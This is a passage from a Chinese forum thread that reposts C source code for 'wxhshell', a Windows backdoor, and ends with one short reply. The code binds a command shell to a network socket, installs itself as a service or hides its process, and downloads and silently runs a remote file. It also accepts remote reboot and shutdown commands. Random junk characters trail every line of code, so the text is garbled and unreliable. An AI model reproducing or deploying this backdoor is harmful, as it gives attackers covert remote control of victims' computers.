  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :-jP8X  
  else eC1c`@C:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EPUJa~4  
  } <a/ZOuBzZ  
  else { q~A|R   
uS+b* :  
    switch(cmd[0]) { fqp7a1qQl  
  (V |q\XS  
  // 帮助 Yv`1ySR  
  case '?': { ]H@uuPT!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 98%a)s)(a  
    break; Q,LWZw~"  
  } '&L   
  // 安装 [>QsMUvak  
  case 'i': { cF>;f(X  
    if(Install()) XzRWY\x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ovRCF(Og,  
    else <k8rSx n{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]KII?{ <k  
    break; 5<'Jd3N{&  
    } MyR\_)P?  
  // 卸载 7Bb@9M?i  
  case 'r': { 7}HA_@[  
    if(Uninstall()) FU3IK3}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <8}9s9Nk  
    else oGjYCVc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Iw-6Z+ 94  
    break; # T#FUI1p  
    } hD~/6bx  
  // 显示 wxhshell 所在路径 hCx#Heh  
  case 'p': { ViC76aJ  
    char svExeFile[MAX_PATH]; vf'jz`Z  
    strcpy(svExeFile,"\n\r"); G37L 9IG-M  
      strcat(svExeFile,ExeFile); ^rZ+H@p:6  
        send(wsh,svExeFile,strlen(svExeFile),0); J'&? =|  
    break; ^|axtVhMO  
    } X=RmCc$:  
  // 重启 78}%{7YY  
  case 'b': { =:T:9Y_i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^{,}, i  
    if(Boot(REBOOT)) GTX&:5H\t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (IWd?,H,n  
    else { e @MCumc~+  
    closesocket(wsh); $7ME a"a  
    ExitThread(0); %-zH]"Q$  
    } ZX RN?b  
    break; S%%qn  
    } mi3q1npb7[  
  // 关机 8XXTN@&,  
  case 'd': { -^%"w  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RB 0j!H:  
    if(Boot(SHUTDOWN)) = ~R3*GN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "e?#c<p7  
    else { lIT2 AFX+  
    closesocket(wsh); p~y 4q4  
    ExitThread(0); yOm6HA``hT  
    } |6G5  ?|  
    break; _J#Hq 'K  
    } aQ3vG08L>  
  // 获取shell iw6M3g#  
  case 's': { G5@@m-  
    CmdShell(wsh); J~ rC  
    closesocket(wsh); W`rE\P  
    ExitThread(0); _ 25]>D$  
    break; 6#-; ,2i  
  } S`PSFetC  
  // 退出 nK; rEL  
  case 'x': { 81 Not  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o ieLh"$  
    CloseIt(wsh); ^hTJp{  
    break; p_ y*-,W (  
    } tg4&j$  
  // 离开 %bETr"Xom  
  case 'q': { $B N+SD!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (9QRg;   
    closesocket(wsh); ~w% +y  
    WSACleanup(); v\T1,Z@N^  
    exit(1); W..>Ny;'3  
    break; Ji:@z%osr  
        } 2{qG  
  } Cd*C^cJU&z  
  } ) x $Vy=  
YtKX\q^.  
  // 提示信息 f\_Q+!^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y(g Otg  
} -Q8`p  
  } Rla*hc~  
`t"Kq+  
  return; &cejy>K  
} ?n~j2-[<  
T7X2$ '  
// shell模块句柄 u01^ABn  
int CmdShell(SOCKET sock) jYx(  
{ 7q=xW6  
STARTUPINFO si; :H k4i%hGk  
ZeroMemory(&si,sizeof(si)); 2Nzcej  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1e%Xyqb  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M& L0n%,y5  
PROCESS_INFORMATION ProcessInfo; MH(g<4>*  
char cmdline[]="cmd"; Y& %0 eI!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SQvB)NOw  
  return 0; EnAw8Gm*  
} qWK7K%-$ E  
a];i4lt(c  
// 自身启动模式 ,RH986,6V  
int StartFromService(void) 7 i\[Q8f  
{ zL}DLfy>R  
typedef struct uU"s50m  
{ 6!m#_z8qG3  
  DWORD ExitStatus; f2XD^:Gc  
  DWORD PebBaseAddress; ~UFsiVpL  
  DWORD AffinityMask; kKO]q#9sO  
  DWORD BasePriority; 61 |xv_/  
  ULONG UniqueProcessId; B*Xh$R  
  ULONG InheritedFromUniqueProcessId; Unk+@$E&  
}   PROCESS_BASIC_INFORMATION; BE;iC.rW  
~|]\. ^B  
PROCNTQSIP NtQueryInformationProcess; %ua5T9H Z  
$^GnY7$!>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xrd ^vE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "aH]4DO  
p8bTR!rvz  
  HANDLE             hProcess; TR7TF]itb  
  PROCESS_BASIC_INFORMATION pbi; $l0w{m!P  
EPfVS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZmF32 Ir  
  if(NULL == hInst ) return 0; J> |`  
~0:c{v;4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (b5af_ c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3_:k12%p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ue%5 :Sdr  
]>j_ Y ,  
  if (!NtQueryInformationProcess) return 0; -': tpJk  
QJ'C?hn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YkbLf#2AE|  
  if(!hProcess) return 0; u{^Kyo#v  
o^J&c_U\3'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {%dQV#'c  
}3e+D  
  CloseHandle(hProcess); \6L=^q=  
P40eK0 e6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S d -+a  
if(hProcess==NULL) return 0; *8+YR  
p `Z7VG  
HMODULE hMod; 21Opx~T3  
char procName[255]; ^hJ ,1{o  
unsigned long cbNeeded; efm<bJB2  
0cVXUTJ|W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K>~l6  
l1-FL-1  
  CloseHandle(hProcess); MR: {Ps&,  
jiDYPYx;I  
if(strstr(procName,"services")) return 1; // 以服务启动 F[Up  
m5*RB1  
  return 0; // 注册表启动 sIe(;%[`  
} $Vh82Id^  
kdq55zTc<6  
// 主模块 UNae&Zir  
int StartWxhshell(LPSTR lpCmdLine) 2sH5<5G'  
{ .`9KB3  
  SOCKET wsl; Mf"B!WU>]B  
BOOL val=TRUE; G@2M&0'  
  int port=0;  (w fZ!  
  struct sockaddr_in door; =XB)sC%  
e)8iPu ..  
  if(wscfg.ws_autoins) Install(); bv0 %{u&  
I Cs1=  
port=atoi(lpCmdLine); vhW '2<(  
?*0kQo'  
if(port<=0) port=wscfg.ws_port; N:.bnF(  
9yPB)&"EF  
  WSADATA data; =T`-h"E~@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XhiC'.B_  
kzT'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   * G4;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0v?,:]A0E  
  door.sin_family = AF_INET; TM;)[R@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WfVie6  
  door.sin_port = htons(port); Z^ 3Risi  
[z9i v~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?CC6/bE-{  
closesocket(wsl); TMrmyvv  
return 1;  '}=M~  
} pOXEM1"2A  
W*2SlS7  
  if(listen(wsl,2) == INVALID_SOCKET) { 9"e!0Q40  
closesocket(wsl); Y|L57F  
return 1; wl4yNC  
} S/|8' x{<  
  Wxhshell(wsl); ] Yy Sf  
  WSACleanup(); P!/8   
@\a- =  
return 0; idq= US  
QK\z-'&n  
} }Z|a?J@CZm  
slbV[xR  
// 以NT服务方式启动 53c6dl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gQ[4{+DSf  
{ %WR  
DWORD   status = 0; &2DW  
  DWORD   specificError = 0xfffffff; 3ba"[C|  
l`k3!EZDS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C*$/J\6xy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >4c 1VEi  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4^r}&9C ~  
  serviceStatus.dwWin32ExitCode     = 0; ME.LS2'n  
  serviceStatus.dwServiceSpecificExitCode = 0; }z[se)s  
  serviceStatus.dwCheckPoint       = 0; NZ#z{JI =+  
  serviceStatus.dwWaitHint       = 0; bYz:gbs]4|  
7%tn+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `^/Q"zH  
  if (hServiceStatusHandle==0) return; U"Y$7~  
z'm;H{xf  
status = GetLastError(); 5BZ5Gl3  
  if (status!=NO_ERROR) d@<XR~);  
{ Ok@5`?08  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9"rATgN1  
    serviceStatus.dwCheckPoint       = 0; px*MOHq K  
    serviceStatus.dwWaitHint       = 0; l[x wH 9'  
    serviceStatus.dwWin32ExitCode     = status; -;v:. [o.  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ez )Go6Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vc<8ApK3V  
    return; -(jcsqDk  
  } $_ y"P  
#S"=)BZ8L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a?;{0I:Ln  
  serviceStatus.dwCheckPoint       = 0; PrCq JY  
  serviceStatus.dwWaitHint       = 0; pd|s7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9Ah4N2nL-b  
} q#Bdq8  
W<2-Q,>Y  
// 处理NT服务事件,比如:启动、停止 fu`oDi  
VOID WINAPI NTServiceHandler(DWORD fdwControl) QxK%ZaFZA  
{ ReY K5J=O  
switch(fdwControl) +$%o#~  
{ 8ViDh  
case SERVICE_CONTROL_STOP: 6l4l74  
  serviceStatus.dwWin32ExitCode = 0; p(v.sP4w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; QAR<.zXvP  
  serviceStatus.dwCheckPoint   = 0; (b(iL\B$D=  
  serviceStatus.dwWaitHint     = 0; MKbW^:  
  { \oi=fu=}*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \ZC7vM"h  
  } b@7 ItzD  
  return; o,29C7Ii  
case SERVICE_CONTROL_PAUSE: @'S-nn,sO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y,aASy!Q  
  break; /+rHy7(\  
case SERVICE_CONTROL_CONTINUE: .e6:/x~p*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O_E[F E:+  
  break; {AZW."?  
case SERVICE_CONTROL_INTERROGATE: az w8BK  
  break; 51~:t[N|  
}; @~"0|,6VC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /as1  
} P^ a$?  
4`i_ 4&TS  
// 标准应用程序主函数 3h4>edM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p%}oo#%J  
{ ZY83, :<  
*_ "j"{  
// 获取操作系统版本 pvX\k X3}  
OsIsNt=GetOsVer(); 6 ,!]x>B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >Zr`9$i  
?g!)[p`v  
  // 从命令行安装 q|S }5  
  if(strpbrk(lpCmdLine,"iI")) Install(); =4?m>v,re  
J<'4(}^|  
  // 下载执行文件 [g<JP~4]  
if(wscfg.ws_downexe) { y'(;!5w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K\uR=L7  
  WinExec(wscfg.ws_filenam,SW_HIDE); FsD}N k=m~  
} P? >p+dM  
=ahD'*R^A  
if(!OsIsNt) { *b> ~L  
// 如果时win9x,隐藏进程并且设置为注册表启动 X@ TQD  
HideProc(); )s!x)< d;  
StartWxhshell(lpCmdLine); ]]Wa.P~]O  
} =|H/[",gg  
else LNe- ]3wB  
  if(StartFromService()) !dZC-U~  
  // 以服务方式启动 d8av`m  
  StartServiceCtrlDispatcher(DispatchTable); z7NaW e  
else f7mI\$CN  
  // 普通方式启动 ^)X^Pcx  
  StartWxhshell(lpCmdLine); *C$ W^u5h  
5)0R:  
return 0; >I+O@  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八